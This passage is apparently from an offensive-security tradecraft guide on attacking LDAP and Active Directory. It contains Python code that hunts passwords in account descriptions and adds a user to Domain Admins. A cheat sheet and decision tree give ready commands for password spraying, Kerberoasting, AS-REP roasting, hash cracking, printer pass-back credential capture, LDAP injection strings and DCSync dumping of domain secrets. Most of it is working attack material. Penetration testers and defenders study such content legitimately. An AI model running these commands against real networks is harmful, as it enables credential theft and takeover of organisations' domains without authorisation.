    search_base=base_dn,
    search_filter='(&(objectClass=user)(servicePrincipalName=*)(!(cn=krbtgt)))',
    attributes=['sAMAccountName', 'servicePrincipalName']
)
for entry in conn.entries:
    print(f"[SPN] {entry.sAMAccountName} : {entry.servicePrincipalName}")

# Hunt passwords in description
conn.search(
    search_base=base_dn,
    search_filter='(&(objectClass=user)(description=*))',
    attributes=['sAMAccountName', 'description']
)
keywords = ['pass', 'pwd', 'cred', 'secret', 'key', 'admin']
for entry in conn.entries:
    desc = str(entry.description).lower()
    if any(k in desc for k in keywords):
        print(f"[!!!] {entry.sAMAccountName} → {entry.description}")

# Modify attribute (if you have write rights)
conn.modify('CN=targetuser,CN=Users,DC=domain,DC=local',
    {'description': [('MODIFY_REPLACE', ['new value'])]})

# Add user to group (if GenericAll/Write on group)
conn.modify('CN=Domain Admins,CN=Users,DC=domain,DC=local',
    {'member': [('MODIFY_ADD', ['CN=youruser,CN=Users,DC=domain,DC=local'])]})
print(conn.result)

16. Master Cheat Sheet

Tool Selection

DISCOVERY:
──────────────────────────────────────────────────────────────────────
Find LDAP ports?              → nmap -p 389,636,3268,3269 -sV <IP>
Get domain base DN?           → ldapsearch -x -H ldap://<IP> -s base namingContexts
Check anonymous bind?         → ldapsearch -x -H ldap://<IP> -b "DC=x,DC=y"
Host info + signing?          → crackmapexec ldap <IP>

ENUMERATION:
──────────────────────────────────────────────────────────────────────
Quick full dump?              → ldapdomaindump -u "DOM\user" -p pass <IP> -o /tmp/out/
All users + attributes?       → windapsearch --dc-ip <IP> -u user@dom -p pass -m users --full
Shadow admins?                → windapsearch ... -m privileged-users
Kerberoastable?               → windapsearch ... -m kerberoastable-users
AS-REP roastable?             → crackmapexec ldap <IP> -u user -p pass --asreproast out.txt
Passwords in description?     → crackmapexec ldap <IP> -u user -p pass -M get-desc-users
LAPS passwords?               → crackmapexec ldap <IP> -u user -p pass -M laps
AD attack paths?              → bloodhound-python -d domain.local -u user -p pass -ns <DC> -c all
Custom filter?                → ldapsearch -H ldap://<IP> -D user@dom -w pass -b basedn "FILTER"

ATTACKS:
──────────────────────────────────────────────────────────────────────
Password spray (safe)?        → crackmapexec ldap <IP> -u users.txt -p "Pass123" --continue-on-success
AS-REP roast (no creds)?      → impacket-GetNPUsers dom/ -usersfile users.txt -no-pass -dc-ip <IP>
Kerberoast?                   → impacket-GetUserSPNs dom/user:pass -dc-ip <IP> -request -outputfile out.txt
Crack TGS (RC4)?              → hashcat -m 13100 kerb.txt rockyou.txt
Crack AS-REP?                 → hashcat -m 18200 asrep.txt rockyou.txt
Pass-back (printer)?          → nc -lvnp 389 → set printer LDAP server to your IP
LDAP injection (web)?         → username=* or username=admin)(&)
GenericAll on user?           → impacket-changepasswd / Set-DomainUserPassword
DCSync (WriteDACL)?           → Add-DomainObjectAcl -Rights DCSync → impacket-secretsdump

Essential LDAP Filters

# Object type filters:
"(objectClass=user)"
"(objectClass=computer)"
"(objectClass=group)"
"(objectClass=organizationalUnit)"

# userAccountControl bit filters:
# Disabled accounts (bit 2):
"(userAccountControl:1.2.840.113556.1.4.803:=2)"
# Password never expires (bit 65536):
"(userAccountControl:1.2.840.113556.1.4.803:=65536)"
# No preauth / AS-REP roastable (bit 4194304):
"(userAccountControl:1.2.840.113556.1.4.803:=4194304)"
# No password required (bit 32):
"(userAccountControl:1.2.840.113556.1.4.803:=32)"

# Compound filters:
# Enabled Kerberoastable accounts:
"(&(objectClass=user)(servicePrincipalName=*)(!(cn=krbtgt))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"
# Enabled admin accounts:
"(&(objectClass=user)(adminCount=1)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"
# Members of specific group:
"(&(objectClass=user)(memberOf=CN=Domain Admins,CN=Users,DC=domain,DC=local))"
# Passwords in any text field:
"(|(description=*pass*)(info=*pass*)(comment=*pass*))"

Attack Decision Tree

Got LDAP open (port 389/636)?
│
├── Anonymous bind works?
│   ├── YES → dump users, groups, password policy
│   │         check for DONT_REQ_PREAUTH → AS-REP roast without creds
│   └── NO  → need credentials first
│
├── Have valid credentials?
│   ├── ldapdomaindump → full offline AD browse
│   ├── windapsearch -m privileged-users → shadow admins
│   ├── bloodhound-python -c all → map all attack paths
│   ├── Hunt description fields → crackmapexec -M get-desc-users
│   ├── AS-REP roast → impacket-GetNPUsers
│   └── Kerberoast → impacket-GetUserSPNs -request
│
├── Found printer/MFP with LDAP config?
│   └── Pass-back → rogue LDAP (nc -lvnp 389) → capture service creds
│
├── Found web app with LDAP auth?
│   └── LDAP injection → username: * or admin)(&)
│
├── BloodHound shows ACL path to DA?
│   ├── GenericAll on User → change password (impacket-changepasswd)
│   ├── GenericAll on Group → add self (net rpc group addmem)
│   ├── WriteDACL → grant DCSync → impacket-secretsdump
│   └── ForceChangePassword → rpcclient setuserinfo2
│
└── Cracked a service account (Kerberoast)?
    ├── Check reuse on SMB / WinRM / RDP
    ├── Check group memberships in BloodHound
    └── Re-run BloodHound with new account → find new paths

Port Reference

Port Protocol Description
389/TCP LDAP Standard — plaintext (sniffable!)
636/TCP LDAPS LDAP over TLS — encrypted
3268/TCP LDAP GC Global Catalog — cross-domain
3269/TCP LDAPS GC Global Catalog over TLS
88/TCP Kerberos Tied to LDAP — Kerberoast/AS-REP
445/TCP SMB Use alongside LDAP for full AD enum
5985/TCP WinRM Shell access after cred capture

← Tradecraft top ↑